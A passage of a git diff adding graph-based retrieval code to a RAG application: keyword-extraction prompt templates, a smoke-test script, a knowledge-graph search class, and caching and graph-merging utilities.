low-level keyword categories required to contain content. +3. **Concise & Meaningful**: Keywords should be concise words or meaningful phrases. Prioritize multi-word phrases when they represent a single concept. For example, from "latest financial report of Apple Inc.", you should extract "latest financial report" and "Apple Inc." rather than "latest", "financial", "report", and "Apple". +4. **Handle Edge Cases**: For queries that are too simple, vague, or nonsensical (e.g., "hello", "ok", "asdfghjkl"), you must return a JSON object with empty lists for both keyword types. + +---Examples--- +{examples} + +---Real Data--- +User Query: {query} + +---Output--- +""" + +PROMPTS["keywords_extraction_examples"] = [ + """Example 1: + +Query: "How does international trade influence global economic stability?" + +Output: +{ + "high_level_keywords": ["International trade", "Global economic stability", "Economic impact"], + "low_level_keywords": ["Trade agreements", "Tariffs", "Currency exchange", "Imports", "Exports"] +} + +""", + """Example 2: + +Query: "What are the environmental consequences of deforestation on biodiversity?" + +Output: +{ + "high_level_keywords": ["Environmental consequences", "Deforestation", "Biodiversity loss"], + "low_level_keywords": ["Species extinction", "Habitat destruction", "Carbon emissions", "Rainforest", "Ecosystem"] +} + +""", + """Example 3: + +Query: "What is the role of education in reducing poverty?" + +Output: +{ + "high_level_keywords": ["Education", "Poverty reduction", "Socioeconomic development"], + "low_level_keywords": ["School access", "Literacy rates", "Job training", "Income inequality"] +} + +""", +] + +PROMPTS["naive_rag_response"] = """---Role--- + +You are a helpful assistant responding to user query about Document Chunks provided provided in JSON format below. + +---Goal--- + +Generate a concise response based on Document Chunks and follow Response Rules, considering both the conversation history and the current query. Summarize all information in the provided Document Chunks, and incorporating general knowledge relevant to the Document Chunks. Do not include information not provided by Document Chunks. + +---Conversation History--- +{history} + +---Document Chunks(DC)--- +{content_data} + +---RESPONSE GUIDELINES--- +**1. Content & Adherence:** +- Strictly adhere to the provided context from the Knowledge Base. Do not invent, assume, or include any information not present in the source data. +- If the answer cannot be found in the provided context, state that you do not have enough information to answer. +- Ensure the response maintains continuity with the conversation history. + +**2. Formatting & Language:** +- Format the response using markdown with appropriate section headings. +- The response language must match the user's question language. +- Target format and length: {response_type} + +**3. Citations / References:** +- At the end of the response, under a "References" section, cite a maximum of 5 most relevant sources used. +- Use the following formats for citations: `[DC] ` + +---USER CONTEXT--- +- Additional user prompt: {user_prompt} + + +Response:""" diff --git a/graphrag/light/smoke.py b/graphrag/light/smoke.py new file mode 100644 index 0000000..504f09c --- /dev/null +++ b/graphrag/light/smoke.py @@ -0,0 +1,96 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# + +import argparse +import json +from api import settings +import networkx as nx +import logging +import trio + +from api.db import LLMType +from api.db.services.document_service import DocumentService +from api.db.services.knowledgebase_service import KnowledgebaseService +from api.db.services.llm_service import LLMBundle +from api.db.services.user_service import TenantService +from graphrag.general.index import update_graph +from graphrag.light.graph_extractor import GraphExtractor + +settings.init_settings() + + +def callback(prog=None, msg="Processing..."): + logging.info(msg) + + +async def main(): + parser = argparse.ArgumentParser() + parser.add_argument( + "-t", + "--tenant_id", + default=False, + help="Tenant ID", + action="store", + required=True, + ) + parser.add_argument( + "-d", + "--doc_id", + default=False, + help="Document ID", + action="store", + required=True, + ) + args = parser.parse_args() + + e, doc = DocumentService.get_by_id(args.doc_id) + if not e: + raise LookupError("Document not found.") + kb_id = doc.kb_id + + chunks = [ + d["content_with_weight"] + for d in settings.retrievaler.chunk_list( + args.doc_id, + args.tenant_id, + [kb_id], + max_count=6, + fields=["content_with_weight"], + ) + ] + + _, tenant = TenantService.get_by_id(args.tenant_id) + llm_bdl = LLMBundle(args.tenant_id, LLMType.CHAT, tenant.llm_id) + _, kb = KnowledgebaseService.get_by_id(kb_id) + embed_bdl = LLMBundle(args.tenant_id, LLMType.EMBEDDING, kb.embd_id) + + graph, doc_ids = await update_graph( + GraphExtractor, + args.tenant_id, + kb_id, + args.doc_id, + chunks, + "English", + llm_bdl, + embed_bdl, + callback, + ) + + print(json.dumps(nx.node_link_data(graph), ensure_ascii=False, indent=2)) + + +if __name__ == "__main__": + trio.run(main) diff --git a/graphrag/query_analyze_prompt.py b/graphrag/query_analyze_prompt.py new file mode 100644 index 0000000..3e5862e --- /dev/null +++ b/graphrag/query_analyze_prompt.py @@ -0,0 +1,218 @@ +# Licensed under the MIT License +""" +Reference: + - [LightRag](https://github.com/HKUDS/LightRAG) + - [MiniRAG](https://github.com/HKUDS/MiniRAG) +""" +PROMPTS = {} + +PROMPTS["minirag_query2kwd"] = """---Role--- + +You are a helpful assistant tasked with identifying both answer-type and low-level keywords in the user's query. + +---Goal--- + +Given the query, list both answer-type and low-level keywords. +answer_type_keywords focus on the type of the answer to the certain query, while low-level keywords focus on specific entities, details, or concrete terms. +The answer_type_keywords must be selected from Answer type pool. +This pool is in the form of a dictionary, where the key represents the Type you should choose from and the value represents the example samples. + +---Instructions--- + +- Output the keywords in JSON format. +- The JSON should have three keys: + - "answer_type_keywords" for the types of the answer. In this list, the types with the highest likelihood should be placed at the forefront. No more than 3. + - "entities_from_query" for specific entities or details. It must be extracted from the query. +###################### +-Examples- +###################### +Example 1: + +Query: "How does international trade influence global economic stability?" +Answer type pool: {{ + 'PERSONAL LIFE': ['FAMILY TIME', 'HOME MAINTENANCE'], + 'STRATEGY': ['MARKETING PLAN', 'BUSINESS EXPANSION'], + 'SERVICE FACILITATION': ['ONLINE SUPPORT', 'CUSTOMER SERVICE TRAINING'], + 'PERSON': ['JANE DOE', 'JOHN SMITH'], + 'FOOD': ['PASTA', 'SUSHI'], + 'EMOTION': ['HAPPINESS', 'ANGER'], + 'PERSONAL EXPERIENCE': ['TRAVEL ABROAD', 'STUDYING ABROAD'], + 'INTERACTION': ['TEAM MEETING', 'NETWORKING EVENT'], + 'BEVERAGE': ['COFFEE', 'TEA'], + 'PLAN': ['ANNUAL BUDGET', 'PROJECT TIMELINE'], + 'GEO': ['NEW YORK CITY', 'SOUTH AFRICA'], + 'GEAR': ['CAMPING TENT', 'CYCLING HELMET'], + 'EMOJI': ['🎉', '🚀'], + 'BEHAVIOR': ['POSITIVE FEEDBACK', 'NEGATIVE CRITICISM'], + 'TONE': ['FORMAL', 'INFORMAL'], + 'LOCATION': ['DOWNTOWN', 'SUBURBS'] +}} +################ +Output: +{{ + "answer_type_keywords": ["STRATEGY","PERSONAL LIFE"], + "entities_from_query": ["Trade agreements", "Tariffs", "Currency exchange", "Imports", "Exports"] +}} +############################# +Example 2: + +Query: "When was SpaceX's first rocket launch?" +Answer type pool: {{ + 'DATE AND TIME': ['2023-10-10 10:00', 'THIS AFTERNOON'], + 'ORGANIZATION': ['GLOBAL INITIATIVES CORPORATION', 'LOCAL COMMUNITY CENTER'], + 'PERSONAL LIFE': ['DAILY EXERCISE ROUTINE', 'FAMILY VACATION PLANNING'], + 'STRATEGY': ['NEW PRODUCT LAUNCH', 'YEAR-END SALES BOOST'], + 'SERVICE FACILITATION': ['REMOTE IT SUPPORT', 'ON-SITE TRAINING SESSIONS'], + 'PERSON': ['ALEXANDER HAMILTON', 'MARIA CURIE'], + 'FOOD': ['GRILLED SALMON', 'VEGETARIAN BURRITO'], + 'EMOTION': ['EXCITEMENT', 'DISAPPOINTMENT'], + 'PERSONAL EXPERIENCE': ['BIRTHDAY CELEBRATION', 'FIRST MARATHON'], + 'INTERACTION': ['OFFICE WATER COOLER CHAT', 'ONLINE FORUM DEBATE'], + 'BEVERAGE': ['ICED COFFEE', 'GREEN SMOOTHIE'], + 'PLAN': ['WEEKLY MEETING SCHEDULE', 'MONTHLY BUDGET OVERVIEW'], + 'GEO': ['MOUNT EVEREST BASE CAMP', 'THE GREAT BARRIER REEF'], + 'GEAR': ['PROFESSIONAL CAMERA EQUIPMENT', 'OUTDOOR HIKING GEAR'], + 'EMOJI': ['📅', '⏰'], + 'BEHAVIOR': ['PUNCTUALITY', 'HONESTY'], + 'TONE': ['CONFIDENTIAL', 'SATIRICAL'], + 'LOCATION': ['CENTRAL PARK', 'DOWNTOWN LIBRARY'] +}} + +################ +Output: +{{ + "answer_type_keywords": ["DATE AND TIME", "ORGANIZATION", "PLAN"], + "entities_from_query": ["SpaceX", "Rocket launch", "Aerospace", "Power Recovery"] + +}} +############################# +Example 3: + +Query: "What is the role of education in reducing poverty?" +Answer type pool: {{ + 'PERSONAL LIFE': ['MANAGING WORK-LIFE BALANCE', 'HOME IMPROVEMENT PROJECTS'], + 'STRATEGY': ['MARKETING STRATEGIES FOR Q4', 'EXPANDING INTO NEW MARKETS'], + 'SERVICE FACILITATION': ['CUSTOMER SATISFACTION SURVEYS', 'STAFF RETENTION PROGRAMS'], + 'PERSON': ['ALBERT EINSTEIN', 'MARIA CALLAS'], + 'FOOD': ['PAN-FRIED STEAK', 'POACHED EGGS'], + 'EMOTION': ['OVERWHELM', 'CONTENTMENT'], + 'PERSONAL EXPERIENCE': ['LIVING ABROAD', 'STARTING A NEW JOB'], + 'INTERACTION': ['SOCIAL MEDIA ENGAGEMENT', 'PUBLIC SPEAKING'], + 'BEVERAGE': ['CAPPUCCINO', 'MATCHA LATTE'], + 'PLAN': ['ANNUAL FITNESS GOALS', 'QUARTERLY BUSINESS REVIEW'], + 'GEO': ['THE AMAZON RAINFOREST', 'THE GRAND CANYON'], + 'GEAR': ['SURFING ESSENTIALS', 'CYCLING ACCESSORIES'], + 'EMOJI': ['💻', '📱'], + 'BEHAVIOR': ['TEAMWORK', 'LEADERSHIP'], + 'TONE': ['FORMAL MEETING', 'CASUAL CONVERSATION'], + 'LOCATION': ['URBAN CITY CENTER', 'RURAL COUNTRYSIDE'] +}} + +################ +Output: +{{ + "answer_type_keywords": ["STRATEGY", "PERSON"], + "entities_from_query": ["School access", "Literacy rates", "Job training", "Income inequality"] +}} +############################# +Example 4: + +Query: "Where is the capital of the United States?" +Answer type pool: {{ + 'ORGANIZATION': ['GREENPEACE', 'RED CROSS'], + 'PERSONAL LIFE': ['DAILY WORKOUT', 'HOME COOKING'], + 'STRATEGY': ['FINANCIAL INVESTMENT', 'BUSINESS EXPANSION'], + 'SERVICE FACILITATION': ['ONLINE SUPPORT', 'CUSTOMER SERVICE TRAINING'], + 'PERSON': ['ALBERTA SMITH', 'BENJAMIN JONES'], + 'FOOD': ['PASTA CARBONARA', 'SUSHI PLATTER'], + 'EMOTION': ['HAPPINESS', 'SADNESS'], + 'PERSONAL EXPERIENCE': ['TRAVEL ADVENTURE', 'BOOK CLUB'], + 'INTERACTION': ['TEAM BUILDING', 'NETWORKING MEETUP'], + 'BEVERAGE': ['LATTE', 'GREEN TEA'], + 'PLAN': ['WEIGHT LOSS', 'CAREER DEVELOPMENT'], + 'GEO': ['PARIS', 'NEW YORK'], + 'GEAR': ['CAMERA', 'HEADPHONES'], + 'EMOJI': ['🏢', '🌍'], + 'BEHAVIOR': ['POSITIVE THINKING', 'STRESS MANAGEMENT'], + 'TONE': ['FRIENDLY', 'PROFESSIONAL'], + 'LOCATION': ['DOWNTOWN', 'SUBURBS'] +}} +################ +Output: +{{ + "answer_type_keywords": ["LOCATION"], + "entities_from_query": ["capital of the United States", "Washington", "New York"] +}} +############################# + +-Real Data- +###################### +Query: {query} +Answer type pool:{TYPE_POOL} +###################### +Output: + +""" + +PROMPTS["keywords_extraction"] = """---Role--- + +You are a helpful assistant tasked with identifying both high-level and low-level keywords in the user's query. + +---Goal--- + +Given the query, list both high-level and low-level keywords. High-level keywords focus on overarching concepts or themes, while low-level keywords focus on specific entities, details, or concrete terms. + +---Instructions--- + +- Output the keywords in JSON format. +- The JSON should have two keys: + - "high_level_keywords" for overarching concepts or themes. + - "low_level_keywords" for specific entities or details. + +###################### +-Examples- +###################### +{examples} + +############################# +-Real Data- +###################### +Query: {query} +###################### +The `Output` should be human text, not unicode characters. Keep the same language as `Query`. +Output: + +""" + +PROMPTS["keywords_extraction_examples"] = [ + """Example 1: + +Query: "How does international trade influence global economic stability?" +################ +Output: +{ + "high_level_keywords": ["International trade", "Global economic stability", "Economic impact"], + "low_level_keywords": ["Trade agreements", "Tariffs", "Currency exchange", "Imports", "Exports"] +} +#############################""", + """Example 2: + +Query: "What are the environmental consequences of deforestation on biodiversity?" +################ +Output: +{ + "high_level_keywords": ["Environmental consequences", "Deforestation", "Biodiversity loss"], + "low_level_keywords": ["Species extinction", "Habitat destruction", "Carbon emissions", "Rainforest", "Ecosystem"] +} +#############################""", + """Example 3: + +Query: "What is the role of education in reducing poverty?" +################ +Output: +{ + "high_level_keywords": ["Education", "Poverty reduction", "Socioeconomic development"], + "low_level_keywords": ["School access", "Literacy rates", "Job training", "Income inequality"] +} +#############################""", +] diff --git a/graphrag/search.py b/graphrag/search.py new file mode 100644 index 0000000..ebc8f4a --- /dev/null +++ b/graphrag/search.py @@ -0,0 +1,338 @@ +# +# Copyright 2024 The InfiniFlow Authors. All Rights Reserved. +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +import json +import logging +from collections import defaultdict +from copy import deepcopy +import json_repair +import pandas as pd +import trio + +from api.utils import get_uuid +from graphrag.query_analyze_prompt import PROMPTS +from graphrag.utils import get_entity_type2samples, get_llm_cache, set_llm_cache, get_relation +from rag.utils import num_tokens_from_string, get_float +from rag.utils.doc_store_conn import OrderByExpr + +from rag.nlp.search import Dealer, index_name + + +class KGSearch(Dealer): + def _chat(self, llm_bdl, system, history, gen_conf): + response = get_llm_cache(llm_bdl.llm_name, system, history, gen_conf) + if response: + return response + response = llm_bdl.chat(system, history, gen_conf) + if response.find("**ERROR**") >= 0: + raise Exception(response) + set_llm_cache(llm_bdl.llm_name, system, response, history, gen_conf) + return response + + def query_rewrite(self, llm, question, idxnms, kb_ids): + ty2ents = trio.run(lambda: get_entity_type2samples(idxnms, kb_ids)) + hint_prompt = PROMPTS["minirag_query2kwd"].format(query=question, + TYPE_POOL=json.dumps(ty2ents, ensure_ascii=False, indent=2)) + result = self._chat(llm, hint_prompt, [{"role": "user", "content": "Output:"}], {}) + try: + keywords_data = json_repair.loads(result) + type_keywords = keywords_data.get("answer_type_keywords", []) + entities_from_query = keywords_data.get("entities_from_query", [])[:5] + return type_keywords, entities_from_query + except json_repair.JSONDecodeError: + try: + result = result.replace(hint_prompt[:-1], '').replace('user', '').replace('model', '').strip() + result = '{' + result.split('{')[1].split('}')[0] + '}' + keywords_data = json_repair.loads(result) + type_keywords = keywords_data.get("answer_type_keywords", []) + entities_from_query = keywords_data.get("entities_from_query", [])[:5] + return type_keywords, entities_from_query + # Handle parsing error + except Exception as e: + logging.exception(f"JSON parsing error: {result} -> {e}") + raise e + + def _ent_info_from_(self, es_res, sim_thr=0.3): + res = {} + flds = ["content_with_weight", "_score", "entity_kwd", "rank_flt", "n_hop_with_weight"] + es_res = self.dataStore.getFields(es_res, flds) + for _, ent in es_res.items(): + for f in flds: + if f in ent and ent[f] is None: + del ent[f] + if get_float(ent.get("_score", 0)) < sim_thr: + continue + if isinstance(ent["entity_kwd"], list): + ent["entity_kwd"] = ent["entity_kwd"][0] + res[ent["entity_kwd"]] = { + "sim": get_float(ent.get("_score", 0)), + "pagerank": get_float(ent.get("rank_flt", 0)), + "n_hop_ents": json.loads(ent.get("n_hop_with_weight", "[]")), + "description": ent.get("content_with_weight", "{}") + } + return res + + def _relation_info_from_(self, es_res, sim_thr=0.3): + res = {} + es_res = self.dataStore.getFields(es_res, ["content_with_weight", "_score", "from_entity_kwd", "to_entity_kwd", + "weight_int"]) + for _, ent in es_res.items(): + if get_float(ent["_score"]) < sim_thr: + continue + f, t = sorted([ent["from_entity_kwd"], ent["to_entity_kwd"]]) + if isinstance(f, list): + f = f[0] + if isinstance(t, list): + t = t[0] + res[(f, t)] = { + "sim": get_float(ent["_score"]), + "pagerank": get_float(ent.get("weight_int", 0)), + "description": ent["content_with_weight"] + } + return res + + def get_relevant_ents_by_keywords(self, keywords, filters, idxnms, kb_ids, emb_mdl, sim_thr=0.3, N=56): + if not keywords: + return {} + filters = deepcopy(filters) + filters["knowledge_graph_kwd"] = "entity" + matchDense = self.get_vector(", ".join(keywords), emb_mdl, 1024, sim_thr) + es_res = self.dataStore.search(["content_with_weight", "entity_kwd", "rank_flt"], [], filters, [matchDense], + OrderByExpr(), 0, N, + idxnms, kb_ids) + return self._ent_info_from_(es_res, sim_thr) + + def get_relevant_relations_by_txt(self, txt, filters, idxnms, kb_ids, emb_mdl, sim_thr=0.3, N=56): + if not txt: + return {} + filters = deepcopy(filters) + filters["knowledge_graph_kwd"] = "relation" + matchDense = self.get_vector(txt, emb_mdl, 1024, sim_thr) + es_res = self.dataStore.search( + ["content_with_weight", "_score", "from_entity_kwd", "to_entity_kwd", "weight_int"], + [], filters, [matchDense], OrderByExpr(), 0, N, idxnms, kb_ids) + return self._relation_info_from_(es_res, sim_thr) + + def get_relevant_ents_by_types(self, types, filters, idxnms, kb_ids, N=56): + if not types: + return {} + filters = deepcopy(filters) + filters["knowledge_graph_kwd"] = "entity" + filters["entity_type_kwd"] = types + ordr = OrderByExpr() + ordr.desc("rank_flt") + es_res = self.dataStore.search(["entity_kwd", "rank_flt"], [], filters, [], ordr, 0, N, + idxnms, kb_ids) + return self._ent_info_from_(es_res, 0) + + def retrieval(self, question: str, + tenant_ids: str | list[str], + kb_ids: list[str], + emb_mdl, + llm, + max_token: int = 8196, + ent_topn: int = 6, + rel_topn: int = 6, + comm_topn: int = 1, + ent_sim_threshold: float = 0.3, + rel_sim_threshold: float = 0.3, + **kwargs + ): + qst = question + filters = self.get_filters({"kb_ids": kb_ids}) + if isinstance(tenant_ids, str): + tenant_ids = tenant_ids.split(",") + idxnms = [index_name(tid) for tid in tenant_ids] + ty_kwds = [] + try: + ty_kwds, ents = self.query_rewrite(llm, qst, [index_name(tid) for tid in tenant_ids], kb_ids) + logging.info(f"Q: {qst}, Types: {ty_kwds}, Entities: {ents}") + except Exception as e: + logging.exception(e) + ents = [qst] + pass + + ents_from_query = self.get_relevant_ents_by_keywords(ents, filters, idxnms, kb_ids, emb_mdl, ent_sim_threshold) + ents_from_types = self.get_relevant_ents_by_types(ty_kwds, filters, idxnms, kb_ids, 10000) + rels_from_txt = self.get_relevant_relations_by_txt(qst, filters, idxnms, kb_ids, emb_mdl, rel_sim_threshold) + nhop_pathes = defaultdict(dict) + for _, ent in ents_from_query.items(): + nhops = ent.get("n_hop_ents", []) + if not isinstance(nhops, list): + logging.warning(f"Abnormal n_hop_ents: {nhops}") + continue + for nbr in nhops: + path = nbr["path"] + wts = nbr["weights"] + for i in range(len(path) - 1): + f, t = path[i], path[i + 1] + if (f, t) in nhop_pathes: + nhop_pathes[(f, t)]["sim"] += ent["sim"] / (2 + i) + else: + nhop_pathes[(f, t)]["sim"] = ent["sim"] / (2 + i) + nhop_pathes[(f, t)]["pagerank"] = wts[i] + + logging.info("Retrieved entities: {}".format(list(ents_from_query.keys()))) + logging.info("Retrieved relations: {}".format(list(rels_from_txt.keys()))) + logging.info("Retrieved entities from types({}): {}".format(ty_kwds, list(ents_from_types.keys()))) + logging.info("Retrieved N-hops: {}".format(list(nhop_pathes.keys()))) + + # P(E|Q) => P(E) * P(Q|E) => pagerank * sim + for ent in ents_from_types.keys(): + if ent not in ents_from_query: + continue + ents_from_query[ent]["sim"] *= 2 + + for (f, t) in rels_from_txt.keys(): + pair = tuple(sorted([f, t])) + s = 0 + if pair in nhop_pathes: + s += nhop_pathes[pair]["sim"] + del nhop_pathes[pair] + if f in ents_from_types: + s += 1 + if t in ents_from_types: + s += 1 + rels_from_txt[(f, t)]["sim"] *= s + 1 + + # This is for the relations from n-hop but not by query search + for (f, t) in nhop_pathes.keys(): + s = 0 + if f in ents_from_types: + s += 1 + if t in ents_from_types: + s += 1 + rels_from_txt[(f, t)] = { + "sim": nhop_pathes[(f, t)]["sim"] * (s + 1), + "pagerank": nhop_pathes[(f, t)]["pagerank"] + } + + ents_from_query = sorted(ents_from_query.items(), key=lambda x: x[1]["sim"] * x[1]["pagerank"], reverse=True)[ + :ent_topn] + rels_from_txt = sorted(rels_from_txt.items(), key=lambda x: x[1]["sim"] * x[1]["pagerank"], reverse=True)[ + :rel_topn] + + ents = [] + relas = [] + for n, ent in ents_from_query: + ents.append({ + "Entity": n, + "Score": "%.2f" % (ent["sim"] * ent["pagerank"]), + "Description": json.loads(ent["description"]).get("description", "") if ent["description"] else "" + }) + max_token -= num_tokens_from_string(str(ents[-1])) + if max_token <= 0: + ents = ents[:-1] + break + + for (f, t), rel in rels_from_txt: + if not rel.get("description"): + for tid in tenant_ids: + rela = get_relation(tid, kb_ids, f, t) + if rela: + break + else: + continue + rel["description"] = rela["description"] + desc = rel["description"] + try: + desc = json.loads(desc).get("description", "") + except Exception: + pass + relas.append({ + "From Entity": f, + "To Entity": t, + "Score": "%.2f" % (rel["sim"] * rel["pagerank"]), + "Description": desc + }) + max_token -= num_tokens_from_string(str(relas[-1])) + if max_token <= 0: + relas = relas[:-1] + break + + if ents: + ents = "\n---- Entities ----\n{}".format(pd.DataFrame(ents).to_csv()) + else: + ents = "" + if relas: + relas = "\n---- Relations ----\n{}".format(pd.DataFrame(relas).to_csv()) + else: + relas = "" + + return { + "chunk_id": get_uuid(), + "content_ltks": "", + "content_with_weight": ents + relas + self._community_retrieval_([n for n, _ in ents_from_query], filters, kb_ids, idxnms, + comm_topn, max_token), + "doc_id": "", + "docnm_kwd": "Related content in Knowledge Graph", + "kb_id": kb_ids, + "important_kwd": [], + "image_id": "", + "similarity": 1., + "vector_similarity": 1., + "term_similarity": 0, + "vector": [], + "positions": [], + } + + def _community_retrieval_(self, entities, condition, kb_ids, idxnms, topn, max_token): + ## Community retrieval + fields = ["docnm_kwd", "content_with_weight"] + odr = OrderByExpr() + odr.desc("weight_flt") + fltr = deepcopy(condition) + fltr["knowledge_graph_kwd"] = "community_report" + fltr["entities_kwd"] = entities + comm_res = self.dataStore.search(fields, [], fltr, [], + OrderByExpr(), 0, topn, idxnms, kb_ids) + comm_res_fields = self.dataStore.getFields(comm_res, fields) + txts = [] + for ii, (_, row) in enumerate(comm_res_fields.items()): + obj = json.loads(row["content_with_weight"]) + txts.append("# {}. {}\n## Content\n{}\n## Evidences\n{}\n".format( + ii + 1, row["docnm_kwd"], obj["report"], obj["evidences"])) + max_token -= num_tokens_from_string(str(txts[-1])) + + if not txts: + return "" + return "\n---- Community Report ----\n" + "\n".join(txts) + + +if __name__ == "__main__": + from api import settings + import argparse + from api.db import LLMType + from api.db.services.knowledgebase_service import KnowledgebaseService + from api.db.services.llm_service import LLMBundle + from api.db.services.user_service import TenantService + from rag.nlp import search + + settings.init_settings() + parser = argparse.ArgumentParser() + parser.add_argument('-t', '--tenant_id', default=False, help="Tenant ID", action='store', required=True) + parser.add_argument('-d', '--kb_id', default=False, help="Knowledge base ID", action='store', required=True) + parser.add_argument('-q', '--question', default=False, help="Question", action='store', required=True) + args = parser.parse_args() + + kb_id = args.kb_id + _, tenant = TenantService.get_by_id(args.tenant_id) + llm_bdl = LLMBundle(args.tenant_id, LLMType.CHAT, tenant.llm_id) + _, kb = KnowledgebaseService.get_by_id(kb_id) + embed_bdl = LLMBundle(args.tenant_id, LLMType.EMBEDDING, kb.embd_id) + + kg = KGSearch(settings.docStoreConn) + print(kg.retrieval({"question": args.question, "kb_ids": [kb_id]}, + search.index_name(kb.tenant_id), [kb_id], embed_bdl, llm_bdl)) diff --git a/graphrag/utils.py b/graphrag/utils.py new file mode 100644 index 0000000..6abe5f9 --- /dev/null +++ b/graphrag/utils.py @@ -0,0 +1,628 @@ +# Copyright (c) 2024 Microsoft Corporation. +# Licensed under the MIT License +""" +Reference: + - [graphrag](https://github.com/microsoft/graphrag) + - [LightRag](https://github.com/HKUDS/LightRAG) +""" + +import dataclasses +import html +import json +import logging +import os +import re +import time +from collections import defaultdict +from hashlib import md5 +from typing import Any, Callable, Set, Tuple + +import networkx as nx +import numpy as np +import trio +import xxhash +from networkx.readwrite import json_graph + +from api import settings +from api.utils import get_uuid +from api.utils.api_utils import timeout +from rag.nlp import rag_tokenizer, search +from rag.utils.doc_store_conn import OrderByExpr +from rag.utils.redis_conn import REDIS_CONN + +GRAPH_FIELD_SEP = "" + +ErrorHandlerFn = Callable[[BaseException | None, str | None, dict | None], None] + +chat_limiter = trio.CapacityLimiter(int(os.environ.get("MAX_CONCURRENT_CHATS", 10))) + + +@dataclasses.dataclass +class GraphChange: + removed_nodes: Set[str] = dataclasses.field(default_factory=set) + added_updated_nodes: Set[str] = dataclasses.field(default_factory=set) + removed_edges: Set[Tuple[str, str]] = dataclasses.field(default_factory=set) + added_updated_edges: Set[Tuple[str, str]] = dataclasses.field(default_factory=set) + + +def perform_variable_replacements(input: str, history: list[dict] | None = None, variables: dict | None = None) -> str: + """Perform variable replacements on the input string and in a chat log.""" + if history is None: + history = [] + if variables is None: + variables = {} + result = input + + def replace_all(input: str) -> str: + result = input + for k, v in variables.items(): + result = result.replace(f"{{{k}}}", str(v)) + return result + + result = replace_all(result) + for i, entry in enumerate(history): + if entry.get("role") == "system": + entry["content"] = replace_all(entry.get("content") or "") + + return result + + +def clean_str(input: Any) -> str: + """Clean an input string by removing HTML escapes, control characters, and other unwanted characters.""" + # If we get non-string input, just give it back + if not isinstance(input, str): + return input + + result = html.unescape(input.strip()) + # https://stackoverflow.com/questions/4324790/removing-control-characters-from-a-string-in-python + return re.sub(r"[\"\x00-\x1f\x7f-\x9f]", "", result) + + +def dict_has_keys_with_types(data: dict, expected_fields: list[tuple[str, type]]) -> bool: + """Return True if the given dictionary has the given keys with the given types.""" + for field, field_type in expected_fields: + if field not in data: + return False + + value = data[field] + if not isinstance(value, field_type): + return False + return True + + +def get_llm_cache(llmnm, txt, history, genconf): + hasher = xxhash.xxh64() + hasher.update(str(llmnm).encode("utf-8")) + hasher.update(str(txt).encode("utf-8")) + hasher.update(str(history).encode("utf-8")) + hasher.update(str(genconf).encode("utf-8")) + + k = hasher.hexdigest() + bin = REDIS_CONN.get(k) + if not bin: + return None + return bin + + +def set_llm_cache(llmnm, txt, v, history, genconf): + hasher = xxhash.xxh64() + hasher.update(str(llmnm).encode("utf-8")) + hasher.update(str(txt).encode("utf-8")) + hasher.update(str(history).encode("utf-8")) + hasher.update(str(genconf).encode("utf-8")) + + k = hasher.hexdigest() + REDIS_CONN.set(k, v.encode("utf-8"), 24 * 3600) + + +def get_embed_cache(llmnm, txt): + hasher = xxhash.xxh64() + hasher.update(str(llmnm).encode("utf-8")) + hasher.update(str(txt).encode("utf-8")) + + k = hasher.hexdigest() + bin = REDIS_CONN.get(k) + if not bin: + return + return np.array(json.loads(bin)) + + +def set_embed_cache(llmnm, txt, arr): + hasher = xxhash.xxh64() + hasher.update(str(llmnm).encode("utf-8")) + hasher.update(str(txt).encode("utf-8")) + + k = hasher.hexdigest() + arr = json.dumps(arr.tolist() if isinstance(arr, np.ndarray) else arr) + REDIS_CONN.set(k, arr.encode("utf-8"), 24 * 3600) + + +def get_tags_from_cache(kb_ids): + hasher = xxhash.xxh64() + hasher.update(str(kb_ids).encode("utf-8")) + + k = hasher.hexdigest() + bin = REDIS_CONN.get(k) + if not bin: + return + return bin + + +def set_tags_to_cache(kb_ids, tags): + hasher = xxhash.xxh64() + hasher.update(str(kb_ids).encode("utf-8")) + + k = hasher.hexdigest() + REDIS_CONN.set(k, json.dumps(tags).encode("utf-8"), 600) + + +def tidy_graph(graph: nx.Graph, callback, check_attribute: bool = True): + """ + Ensure all nodes and edges in the graph have some essential attribute. + """ + + def is_valid_item(node_attrs: dict) -> bool: + valid_node = True + for attr in ["description", "source_id"]: + if attr not in node_attrs: + valid_node = False + break + return valid_node + + if check_attribute: + purged_nodes = [] + for node, node_attrs in graph.nodes(data=True): + if not is_valid_item(node_attrs): + purged_nodes.append(node) + for node in purged_nodes: + graph.remove_node(node) + if purged_nodes and callback: + callback(msg=f"Purged {len(purged_nodes)} nodes from graph due to missing essential attributes.") + + purged_edges = [] + for source, target, attr in graph.edges(data=True): + if check_attribute: + if not is_valid_item(attr): + purged_edges.append((source, target)) + if "keywords" not in attr: + attr["keywords"] = [] + for source, target in purged_edges: + graph.remove_edge(source, target) + if purged_edges and callback: + callback(msg=f"Purged {len(purged_edges)} edges from graph due to missing essential attributes.") + + +def get_from_to(node1, node2): + if node1 < node2: + return (node1, node2) + else: + return (node2, node1) + + +def graph_merge(g1: nx.Graph, g2: nx.Graph, change: GraphChange): + """Merge graph g2 into g1 in place.""" + for node_name, attr in g2.nodes(data=True): + change.added_updated_nodes.add(node_name) + if not g1.has_node(node_name): + g1.add_node(node_name, **attr) + continue + node = g1.nodes[node_name] + node["description"] += GRAPH_FIELD_SEP + attr["description"] + # A node's source_id indicates which chunks it came from. + node["source_id"] += attr["source_id"] + + for source, target, attr in g2.edges(data=True): + change.added_updated_edges.add(get_from_to(source, target)) + edge = g1.get_edge_data(source, target) + if edge is None: + g1.add_edge(source, target, **attr) + continue + edge["weight"] += attr.get("weight", 0) + edge["description"] += GRAPH_FIELD_SEP + attr["description"] + edge["keywords"] += attr["keywords"] + # A edge's source_id indicates which chunks it came from. + edge["source_id"] += attr["source_id"] + + for node_degree in g1.degree: + 